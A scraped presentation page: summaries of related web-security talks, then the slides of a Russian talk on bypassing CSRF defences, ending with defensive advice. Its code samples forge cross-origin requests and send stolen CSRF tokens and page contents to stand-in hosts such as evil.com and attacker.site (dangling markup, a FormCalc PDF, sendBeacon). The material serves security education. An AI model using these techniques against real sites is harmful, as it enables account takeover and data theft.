"15 Technique to Exploit File Upload Pages", Ebrahim HegazyHackIT Ukraine
During the session we will go through different methods of exploiting file upload pages in order to trigger Remote Code Execution, SQL Injection, Directory Traversal, DOS, Cross Site Scripting and else of web application vulnerabilities with demo codes. Also, we will see things from both Developers and Attackers side. What are the protections done by Developers to mitigate file upload issues by validating File Name, File Content-Type, actual File Content and how to bypass it All using 15 Technique!
Java Deserialization Vulnerabilities - The Forgotten Bug ClassCODE WHITE GmbH
This document discusses Java deserialization vulnerabilities. It provides an introduction to how Java serialization works and what the security issues are. Specifically, it describes how an attacker can exploit vulnerabilities to remotely execute code on a server by deserializing malicious objects. The document gives examples of past vulnerabilities found in various Java applications and frameworks. It also provides tips for finding vulnerabilities and generating payloads to demonstrate exploits.
The document describes a Java class that implements a RESTful web service. It contains annotations that define the resource path, HTTP methods, request parameters, and response types. The class contains multiple methods that retrieve request parameters in different ways, such as from the URI query string, HTTP headers, request body, or the entity itself.
This whitepaper describes a vulnerability in older versions of the PHP upload module in FCKEditor (now CKeditor) that allows attackers to bypass file type checks and upload malicious PHP code. The vulnerability affects FCKEditor versions 2.6.4 and below. Attackers can exploit it by appending a null byte to the "current folder" parameter, which tricks the server into creating a PHP file instead of a text file. This allows execution of arbitrary code and full compromise of vulnerable servers. Updating to the latest FCKEditor version or modifying the "currentfolder" parameter are recommended to resolve the issue.
Methods to Bypass a Web Application Firewall EngDmitry Evteev
The document discusses methods for bypassing web application firewalls (WAFs). It provides examples of SQL injection attacks that can bypass WAFs by exploiting vulnerabilities in normalization techniques, using HTTP parameter pollution, parameter fragmentation, and logical requests. Blind SQL injection techniques are also discussed, along with ways to bypass WAF signatures by altering SQL syntax.
IDA Vulnerabilities and Bug Bounty by Masaaki ChidaCODE BLUE
IDA Pro is an advanced disassembler software and often used in vulnerability research and malware analysis. IDA Pro is used to analyse software behavior in detail, if there was a vulnerability and the user is attacked not only can it have impact in a social sense but also impact legal proceedings. In this presentation I will discuss the vulnerabilities found and attacks leveraging the vulnerabilities and Hex-rays's remediation process and dialogue I had with them.
http://codeblue.jp/en-speaker.html#MasaakiChida
WebDav implementations are complex and have many vulnerabilities. Hackers should test for XXE issues by sending XML payloads to methods like PROPPATCH and PROPFIND. XXE can be used to read files on the system or perform SSRF. Other issues include CSRF, authentication bypass by overwriting configuration files, and DoS attacks using large payloads. Developers should carefully follow security best practices for XML parsing and input validation when building WebDav services.
Pentesting RESTful webservices talks about problems penetration testers face while testing RESTful Webservices and REST based web applications. The presentation also talks about tools and techniques to do pentesting of RESTful webservices.
A Hacker's perspective on AEM applications securityMikhail Egorov
Mikhail Egorov gave a presentation on security vulnerabilities in Adobe Experience Manager (AEM) applications. He discussed three vulnerabilities - CVE-2019-8086, CVE-2019-8087, and CVE-2019-8088 - which involved XML external entity injection, JavaScript code injection, and ways to exploit them. He explained the technical details of each vulnerability and provided examples of payloads and steps required for exploitation. Egorov concluded by recommending keeping AEM updated, blocking anonymous write access to certain paths, and removing demo content to help prevent security issues.
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
The document discusses JavaScript MVC and templating frameworks and security issues found during penetration testing. Several frameworks were found to execute arbitrary JavaScript from markup in dangerous ways due to overuse of eval-like functions and lack of separation between code and content. This could lead to bypassing of content security policies. Metrics are proposed to evaluate frameworks on security practices like sandboxing and preventing injection into templates. While challenges exist, following best practices like strict separation of code and content could help frameworks improve security.
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)Marco Balduzzi
While input validation vulnerabilities such as XSS and SQL injection have been intensively studied, a new class of injection vulnerabilities called HTTP Parameter Pollution (HPP) has not received as much attention. HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If a web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either client-side or server-side attacks. One consequence of HPP attacks is that the attacker can potentially override existing hard-coded HTTP parameters to modify the behavior of an application, bypass input validation checkpoints, and access and possibly exploit variables that may be out of direct reach.
In the talk we present the first automated system for the detection of HPP vulnerabilities in real web applications. Our approach consists of injecting fuzzed parameters into the web application and a set of tests and heuristics to determine if the pages that are generated contain HPP vulnerabilities. We used this system to conduct a large-scale experiment by testing more than 5,000 popular websites and discovering unknown HPP flaws in many important and well-known sites such as Microsoft, Google, VMWare, Facebook, Symantec, Paypal and others. These sites have been all informed and many of them have acknowledged or fixed the problems. We will explain in details how to efficiently detect HPP bugs and how to prevent this novel class of injection vulnerabilities in future web applications.
The document discusses risk-based security testing methodology for web applications. It involves deriving test cases from threat analysis techniques like attack tree analysis and understanding real-world attack vectors. The goal is to simulate real attacker scenarios and test for vulnerabilities, as well as potential abuse of business logic or flaws in the secure architecture. Security testing is integrated into the software development lifecycle to find and fix issues early.
This document discusses file upload vulnerabilities, exploitation, and mitigation. It provides 6 cases of how file uploads can be exploited such as through simple uploads without validation or altering content types. Tools mentioned for exploitation include BurpSuite and proxies. The document recommends mitigation techniques like using .htaccess files outside the upload directory, storing uploads outside the server root, not relying on client-side validation, and renaming files with random names. It concludes with offering a proof of concept demonstration.
This document discusses XML External Entity (XXE) attacks. It begins with an introduction to XML and DTDs. It then explains how XML entities work and how parsers handle XML. The document outlines several attack vectors for XXE, including local file inclusion, internal port scanning, denial of service, and in rare cases, remote code execution. It provides examples of XXE in different contexts like Microsoft Office documents and JSON payloads. Finally, it recommends solutions like disabling external DTD fetching and entity parsing to prevent XXE vulnerabilities.
This is a bug bounty hunter presentation given at Nullcon 2016 by Bugcrowd's Faraz Khan.
Learn more about Bugcrowd here: https://bugcrowd.com/join-the-crowd
Cross-site scripting (XSS) is an injection attack where malicious scripts are injected into otherwise trusted sites. There are three main types of XSS attacks: reflected XSS occurs via URLs, stored XSS occurs when scripts are stored in a database and delivered to users, and DOM-based XSS modifies the DOM environment. XSS attacks can lead to issues like session hijacking, phishing, and port scanning. Developers can prevent XSS by validating and encoding untrusted data, and using HTTP-only and secure flags for cookies.
OWASP Top 10 Web Application VulnerabilitiesSoftware Guru
This document provides an overview of the OWASP Top 10 Risk Rating Methodology. It explains how risks are rated based on four factors: threat agent, attack vector, technical impact, and business impact. Each factor is given a rating of 1-3 (easy to difficult) and these ratings are multiplied together to calculate an overall weighted risk rating. An example of how this methodology would be applied to an SQL injection vulnerability is also provided.
This talk shares the various techniques I found whilst building the XSS cheat sheet. It contains auto executing vectors, AngularJS CSP bypasses and dangling markup attacks.
This document discusses the ELK stack, which consists of Elasticsearch, Logstash, and Kibana. It describes each component and how they work together to parse, index, and visualize log data. Logstash is used to parse logs from various sources and apply filters before indexing the data into Elasticsearch. Kibana then allows users to visualize the indexed data through interactive dashboards and charts. The document also covers production deployments, monitoring, and security options for the ELK stack.
This document summarizes a presentation on NoSQL injection given by Husseni Muzkkir. The presentation covered the differences between SQL and NoSQL databases, what NoSQL injection is and how it can be used to expose unauthorized information or modify data. It also described a NoSQL lab that was created with possible attack scenarios like authentication bypass, enumeration, data manipulation, and MongoDB injection. The presentation provided examples of insecure coding that could enable these attacks and discussed secure coding practices and a related CVE vulnerability.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.Mikhail Egorov
This document discusses vulnerabilities in WebSocket APIs. It begins with an introduction to the speaker and overview of WebSocket protocols. It then covers specific vulnerabilities like cross-site WebSocket hijacking, authentication issues, and request smuggling through WebSocket connections. The document demonstrates these vulnerabilities through challenges on public sites. It concludes with ideas for further research on WebSocket security.
IDA Vulnerabilities and Bug Bounty by Masaaki ChidaCODE BLUE
IDA Pro is an advanced disassembler software and often used in vulnerability research and malware analysis. IDA Pro is used to analyse software behavior in detail, if there was a vulnerability and the user is attacked not only can it have impact in a social sense but also impact legal proceedings. In this presentation I will discuss the vulnerabilities found and attacks leveraging the vulnerabilities and Hex-rays's remediation process and dialogue I had with them.
http://codeblue.jp/en-speaker.html#MasaakiChida
WebDav implementations are complex and have many vulnerabilities. Hackers should test for XXE issues by sending XML payloads to methods like PROPPATCH and PROPFIND. XXE can be used to read files on the system or perform SSRF. Other issues include CSRF, authentication bypass by overwriting configuration files, and DoS attacks using large payloads. Developers should carefully follow security best practices for XML parsing and input validation when building WebDav services.
Pentesting RESTful webservices talks about problems penetration testers face while testing RESTful Webservices and REST based web applications. The presentation also talks about tools and techniques to do pentesting of RESTful webservices.
A Hacker's perspective on AEM applications securityMikhail Egorov
Mikhail Egorov gave a presentation on security vulnerabilities in Adobe Experience Manager (AEM) applications. He discussed three vulnerabilities - CVE-2019-8086, CVE-2019-8087, and CVE-2019-8088 - which involved XML external entity injection, JavaScript code injection, and ways to exploit them. He explained the technical details of each vulnerability and provided examples of payloads and steps required for exploitation. Egorov concluded by recommending keeping AEM updated, blocking anonymous write access to certain paths, and removing demo content to help prevent security issues.
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
The document discusses JavaScript MVC and templating frameworks and security issues found during penetration testing. Several frameworks were found to execute arbitrary JavaScript from markup in dangerous ways due to overuse of eval-like functions and lack of separation between code and content. This could lead to bypassing of content security policies. Metrics are proposed to evaluate frameworks on security practices like sandboxing and preventing injection into templates. While challenges exist, following best practices like strict separation of code and content could help frameworks improve security.
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)Marco Balduzzi
While input validation vulnerabilities such as XSS and SQL injection have been intensively studied, a new class of injection vulnerabilities called HTTP Parameter Pollution (HPP) has not received as much attention. HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If a web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either client-side or server-side attacks. One consequence of HPP attacks is that the attacker can potentially override existing hard-coded HTTP parameters to modify the behavior of an application, bypass input validation checkpoints, and access and possibly exploit variables that may be out of direct reach.
In the talk we present the first automated system for the detection of HPP vulnerabilities in real web applications. Our approach consists of injecting fuzzed parameters into the web application and a set of tests and heuristics to determine if the pages that are generated contain HPP vulnerabilities. We used this system to conduct a large-scale experiment by testing more than 5,000 popular websites and discovering unknown HPP flaws in many important and well-known sites such as Microsoft, Google, VMWare, Facebook, Symantec, Paypal and others. These sites have been all informed and many of them have acknowledged or fixed the problems. We will explain in details how to efficiently detect HPP bugs and how to prevent this novel class of injection vulnerabilities in future web applications.
The document discusses risk-based security testing methodology for web applications. It involves deriving test cases from threat analysis techniques like attack tree analysis and understanding real-world attack vectors. The goal is to simulate real attacker scenarios and test for vulnerabilities, as well as potential abuse of business logic or flaws in the secure architecture. Security testing is integrated into the software development lifecycle to find and fix issues early.
This document discusses file upload vulnerabilities, exploitation, and mitigation. It provides 6 cases of how file uploads can be exploited such as through simple uploads without validation or altering content types. Tools mentioned for exploitation include BurpSuite and proxies. The document recommends mitigation techniques like using .htaccess files outside the upload directory, storing uploads outside the server root, not relying on client-side validation, and renaming files with random names. It concludes with offering a proof of concept demonstration.
This document discusses XML External Entity (XXE) attacks. It begins with an introduction to XML and DTDs. It then explains how XML entities work and how parsers handle XML. The document outlines several attack vectors for XXE, including local file inclusion, internal port scanning, denial of service, and in rare cases, remote code execution. It provides examples of XXE in different contexts like Microsoft Office documents and JSON payloads. Finally, it recommends solutions like disabling external DTD fetching and entity parsing to prevent XXE vulnerabilities.
This is a bug bounty hunter presentation given at Nullcon 2016 by Bugcrowd's Faraz Khan.
Learn more about Bugcrowd here: https://bugcrowd.com/join-the-crowd
Cross-site scripting (XSS) is an injection attack where malicious scripts are injected into otherwise trusted sites. There are three main types of XSS attacks: reflected XSS occurs via URLs, stored XSS occurs when scripts are stored in a database and delivered to users, and DOM-based XSS modifies the DOM environment. XSS attacks can lead to issues like session hijacking, phishing, and port scanning. Developers can prevent XSS by validating and encoding untrusted data, and using HTTP-only and secure flags for cookies.
OWASP Top 10 Web Application VulnerabilitiesSoftware Guru
This document provides an overview of the OWASP Top 10 Risk Rating Methodology. It explains how risks are rated based on four factors: threat agent, attack vector, technical impact, and business impact. Each factor is given a rating of 1-3 (easy to difficult) and these ratings are multiplied together to calculate an overall weighted risk rating. An example of how this methodology would be applied to an SQL injection vulnerability is also provided.
This talk shares the various techniques I found whilst building the XSS cheat sheet. It contains auto executing vectors, AngularJS CSP bypasses and dangling markup attacks.
This document discusses the ELK stack, which consists of Elasticsearch, Logstash, and Kibana. It describes each component and how they work together to parse, index, and visualize log data. Logstash is used to parse logs from various sources and apply filters before indexing the data into Elasticsearch. Kibana then allows users to visualize the indexed data through interactive dashboards and charts. The document also covers production deployments, monitoring, and security options for the ELK stack.
This document summarizes a presentation on NoSQL injection given by Husseni Muzkkir. The presentation covered the differences between SQL and NoSQL databases, what NoSQL injection is and how it can be used to expose unauthorized information or modify data. It also described a NoSQL lab that was created with possible attack scenarios like authentication bypass, enumeration, data manipulation, and MongoDB injection. The presentation provided examples of insecure coding that could enable these attacks and discussed secure coding practices and a related CVE vulnerability.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.Mikhail Egorov
This document discusses vulnerabilities in WebSocket APIs. It begins with an introduction to the speaker and overview of WebSocket protocols. It then covers specific vulnerabilities like cross-site WebSocket hijacking, authentication issues, and request smuggling through WebSocket connections. The document demonstrates these vulnerabilities through challenges on public sites. It concludes with ideas for further research on WebSocket security.
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
Ведущие: Денис Колегов и Арсений Реутов
Авторы доклада продемонстрируют, как внедрение клиентских сценариев JavaScript может быть использовано для обнаружения и предотвращения различных атак, поиска уязвимых клиентских компонент, определения утечек данных об инфраструктуре веб-приложений, выявления веб-ботов и инструментальных средств нападения. Поделятся собственными методами обнаружения инъекций при помощи синтаксических анализаторов без сигнатур и фильтрующих регулярных выражений, а также рассмотрят реализацию концепции JavaScript-ловушек на стороне клиента для атак SSRF, IDOR, Command Injection и CSRF.
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
РИТ++ 2017, секция ML + IoT + ИБ
Зал Белу-Оризонти, 5 июня, 13:00
Тезисы:
http://ritfest.ru/2017/abstracts/2798.html
В данном докладе будет рассмотрено множество вопросов, с которыми сталкивается AppSec-отдел - как генерировать анти-CSRF токены, где хранить секретные ключи, как тестировать безопасность в сжатые сроки и многое, многое другое.
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
Лекция Петра Волкова в Школе вебмастеров: «Как защитить свой сайт».
https://academy.yandex.ru/events/webmasters_school/yawebm2015/
Актуальные типы угроз и динамика их развития
Компрометация сервера и её последствия. Распределённые атаки типа «отказ в обслуживании». Подмена или добавление рекламы на стороне клиента. Атаки, направленные на пользователей. Проблемы, связанные со внешним содержимым.
Управление рисками безопасности веб-сайтов
Разные типы сайтов подвержены разным типам рисков информационной безопасности. Понимание целей и подходов злоумылшенников как ключ к эффективному снижению рисков. Методы монетизации атак на сайты.
Доступный инструментарий и методики для обеспечения безопасности
Открытые инструменты форензики для типовых и сложных проектов. Системы обнаружения вторжений, подходы к проектированию безопасности в архитектуре и процессах.
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days
Доклад посвящен известной несколько лет атаке под названием "DNS Rebinding" ("Anti-DNS Pinning"). Суть атаки состоит в возможности обойти ограничения "Same Origin Policy" во всех современных веб-браузерах и тем самым получить доступ к любым данным, обрабатываемым в уязвимом приложении. Несмотря на богатую историю, считается, что современные средства защиты блокируют атаку, и реализовать ее на практике почти невозможно.
В докладе будут продемонстрированы практические приемы использования метода Anti-DNS Pinning для атак на корпоративные сети, системы виртуализации и защищенные внешние ресурсы, представлен инструментарий для использования уязвимости. Будут приведены реальные сюжеты получения максимального доступа к любым целевым системам в крупных гетерогенных сетях, а также возможные варианты защиты.
4. Почему CSRF-атаки работают?
Веб-приложение использует cookies для управления сессией
пользователя!
Браузер автоматически отправляет cookies вместе с HTTP-запросом,
даже cross-origin
5. 🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪
Небольшой фрагмент данных, отправленный веб-сервером и
хранимый на компьютере пользователя, браузер всякий раз
пересылает этот фрагмент данных веб-серверу в составе HTTP-
запроса
Сервер
Клиент
Set-Cookie: name=value; expires=date; path=/; domain=.example.org;
secure; httponly;
Cookie: name=newvalue;
6. 🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪
До сих пор используются многими веб-приложениями для
управления сессией пользователя
Впервые сookies появились в браузере Netscape в 1994 году
9. Классическая CSRF-атака
<script>
var request = new XMLHttpRequest();
var data = 'city=Moscow&street=Prosperkt+Mira&zip=12345';
request.open('POST', 'https://example.com/user/address/shipping', true);
request.withCredentials = true; // INCLUDE COOKIES
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send(data);
</script>
https://attacker.com/csrf-xhr.html
13. История CSRF-атак
Эксплуатируются с 2001 года
Публичные CSRF-уязвимости в популярных проектах 2008-2012:
1. YouTube
2. The New York Times
3. Badoo
4. Slideshare
5. Vimeo
6. Hulu
7. КиноПоиск
8. …
14. Насколько серьезны CSRF-уязвимости
Зависит от критичности уязвимого action’a
…
Account takeover (смена email)
Privilege Escalation (создание нового пользователя с высокими
правами)
Remote code execution (эксплуатация command injection в
админке)
15. Насколько серьезны CSRF-уязвимости
OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
не вошла в Top 10 – 2017 (RC2)
A8 – 2017 (RC1)
A8 – 2013
А5 – 2010
17. Популярные варианты защиты от CSRF
CSRF token
Double submit cookie
Content-Type based protection
Referer-based protection
Password confirmation (websudo)
SameSite Cookies (Chrome, Opera)
You shall not pass!!!
You shall not PASS!!!
18. Популярные варианты защиты от CSRF
CSRF token (1 из 6)
Уникальный и высокоэнтропийный токен для каждой
пользовательской сессии
Токен вставляется в DOM или доступен через API
Пользователь должен отправить токен в параметре или
хэдере запроса
Атакующий не знает токен → классическая CSRF-атака не
работает
19. Популярные варианты защиты от CSRF
Double submit cookie (2 из 6)
Уникальный и высокоэнтропийный токен для каждой
пользовательской сессии помещается в cookies
Пользователь должен отправить одинаковые значения в
cookies и в параметре запроса
Атакующий не может изменить cookies → классическая CSRF-
атака не работает
20. Популярные варианты защиты от CSRF
Content-Type based protection (3 из 6)
Пользователь должен отправить запрос с определенным
заголовком Content-Type, например
application/json
Браузер через форму или XHR не может отправить
произвольный Content-Type cross-origin → классическая CSRF-
атака не работает
21. Популярные варианты защиты от CSRF
Referer-based protection (4 из 6)
Пользователь должен отправить запрос с определенным
заголовком Referer
Браузер не может отправить произвольный Referer через
форму или XHR → классическая CSRF-атака не работает
22. Популярные варианты защиты от CSRF
Password confirmation / websudo (5 из 6)
Действие либо доступ к критичному функционалу
подтверждается вводом пароля (секрета)
Атакующий не знает пароля → классическая CSRF-атака не
работает
23. Популярные варианты защиты от CSRF
SameSite Cookies в Chrome, Opera (6 из 6)
Дополнительный атрибут у cookies – samesite (значения lax и
strict)
Браузер не отправляет cookies, если запрос осуществляется с
сайта атакующего → классическая CSRF-атака не работает
25. «Магия» обхода CSRF-защиты
XSS
Dangling markup
Vulnerable subdomains
Cookie injection
Change Content-Type
Non-simple Content-Type
Bad PDF
Referer spoof
А ты думал, я с тобой
шутки шучу
26. Сценарий обхода – XSS (1 из 8)
XSS (Cross-Site Scripting) в приложении позволяет обойти
большинство типов CSRF-защиты!
Просто
смирись c
этим!!!
27. Когда есть HTML injection, но нет XSS (например, есть
Content Security Policy - CSP)
Атакующий может заполучить CSRF-токен через Dangling
markup injection
Сценарий обхода – Dangling markup (2 из 8)
<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea>
28. Сценарий обхода – уязвимый субдомен (3 из 8)
Один из поддоменов foo.example.com уязвим к subdomain
takeover или XSS
Атакующий сможет обойти следующие типы CSRF-защиты:
CSRF tokens
Double submit cookie
Content-Type based protection
29. Приложение использует CORS (Cross-Origin Resource Sharing)
для междоменного взаимодействия
Атакующий сможет прочитать CSRF-токен
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true
Сценарий обхода – уязвимый субдомен (3 из 8)
30. На основном домене есть crossdomain.xml который разрешает
взаимодействие для субдоменов
Атакующий может загрузить файл с JS на foo.example.com
Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/
<cross-domain-policy>
<allow-access-from domain="*.example.com" />
</cross-domain-policy>
Сценарий обхода – уязвимый субдомен (3 из 8)
31. Атакующий может использовать Service Worker для субдомена
foo.example.com
Через SWF атакующий сможет прочитать CSRF-токен!
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
e.respondWith(fetch(url);
}
Сценарий обхода – уязвимый субдомен (3 из 8)
32. Атакующий сможет установить cookie для родительского домена на
интересующий path
Браузер выберет cookie с самым длинным path
Тем самым атакующий сможет обойти защиту Double submit cookie
Сценарий обхода – уязвимый субдомен (3 из 8)
33. Сценарий обхода – bad PDF (4 из 8)
PDF plugin от Adobe поддерживает FormCalc
PDF plugin от Adobe работает в IE11 и Firefox ESR
В FormCalc есть методы get() и post()
Атакующий получает CSRF-токен жертвы
34. Сценарий обхода – bad PDF (4 из 8)
Допустим, у нас есть возможность загрузить PDF в веб-
приложение (можно загрузить PDF как файл другого формата – картинкy )
У приложения есть API на интересующем домене, которое
позволяет получать содержимое загруженного PDF
35. Сценарий обхода – bad PDF (4 из 8)
<h1>Nothing to see here!</h1>
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0"
type='application/pdf'>
https://attacker.com/csrf-badpdf.html
36. Сценарий обхода – bad PDF (4 из 8)
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>
leak.pdf
37. Сценарий обхода – bad PDF (4 из 8)
Фокус в том, что для PDF plugin не важен Content-Type и
другие заголовки (например, Content-Disposition)!
38. Сценарий обхода – cookie injection (5 из 8)
Атакующий в результате сookie injection сможет обойти
защиту Double submit cookie
Варианты cookie injection
CRLF injection
Особенности обработки cookie браузером – comma-separated
cookies (Safari)
Баги браузера (например, CVE-2016-9078 в FF)
39. Сценарий обхода – change Content-Type (6 из 8)
Некоторые считают, что нестандартный формат данных в
теле POST-запроса спасает от CSRF !?
SRSLY?
40. POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43
�addNote � � r �
Сценарий обхода – change Content-Type (6 из 8)
41. <script>
var request = new XMLHttpRequest();
request.open('POST', 'https://example.com/add/note', true);
request.withCredentials = true;
request.setRequestHeader("Content-type", "text/plain");
var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55',
'0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00'];
var bin = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
bin[i] = parseInt(data[i], 16);
}
request.send(bin);
</script>
https://attacker.com/csrf-thrift.html
Сценарий обхода – change Content-Type (6 из 8)
42. Сценарий обхода – non-simple Content-Type (7 из 8)
Валидные значения content type, которые можно
отправить из HTML-формы и через XHR без OPTIONS
preflight - aka simple content types
text/plain
application/x-www-form-urlencoded
multipart/form-data
43. Как отправить произвольный Content-Type:
Баги в браузерах (например, Navigator.sendBeacon)
Flash plugin + 307 redirect
PDF plugin + 307 redirect
Некоторые фреймворки поддерживают URL-
параметры для переопределения Content-Type
http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging
Сценарий обхода – non-simple Content-Type (7 из 8)
44. Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015
Можно было эксплуатировать с 2015 по 07.2017
Navigator.sendBeacon() позволял отправить POST-запрос с
любым Content-Type на другой origin
Сценарий обхода – non-simple Content-Type (7 из 8)
45. <script>
function jsonreq() {
var data = '{"action":"add-user-email","Email":"[email protected]"}';
var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
navigator.sendBeacon('https://example.com/home/rpc', blob );
}
jsonreq();
</script>
https://attacker.com/csrf-sendbeacon.html
Сценарий обхода – non-simple Content-Type (7 из 8)
46. Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/
Сценарий обхода – non-simple Content-Type (7 из 8)
47. Сценарий обхода – spoof Referer (8 из 8)
Баг в Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
Еще работает
Ho работает только для GET-запросов
49. Сценарий обхода – spoof Referer (8 из 8)
В бэкенд будет отправлен header
Некоторые серверы воспринимают пробел как конец имени
HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:`
Referer http://example.com
Имя :Значение
Referer http://example.com
Имя :Значение
50. Обход CSRF-защиты – Итог
CSRF Tokens
Double Submit
Cookie
CT-based Referer-based SameSite Cookies
XSS All All All All All
Dangling markup All - - - All*
Subdomain issues All All All - All*
Cookie Injection - All - - All*
Change CT - - All - All*
Non-simple CT - - All with Flash plugin,
IE11/FF ESR with Pdf
plugin
- All*
Bad Pdf IE11/FF ESR with
Pdf plugin
- IE11/FF ESR with Pdf
plugin
- All*
Spoof Referer - - - IE11/FF ESR with Pdf
plugin, Edge
All*
All – works for all browsers
All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
51. Как все-таки правильно защититься от CSRF
Не использовать cookies для управления пользовательской сессией
52. Как все-таки правильно защититься от CSRF
… eсли не можете отказаться от cookies
Моделируйте угрозы и проверяйте реализацию (см. Итоговую
таблицу)
Имплементируйте SameSite Cookies
Комбинируйте различные CSRF-защиты – defense in depth
Спрашивайте у пользователя пароль для выполнения критичных
action’ов
Отдавайте загружаемые файлы с отдельного домена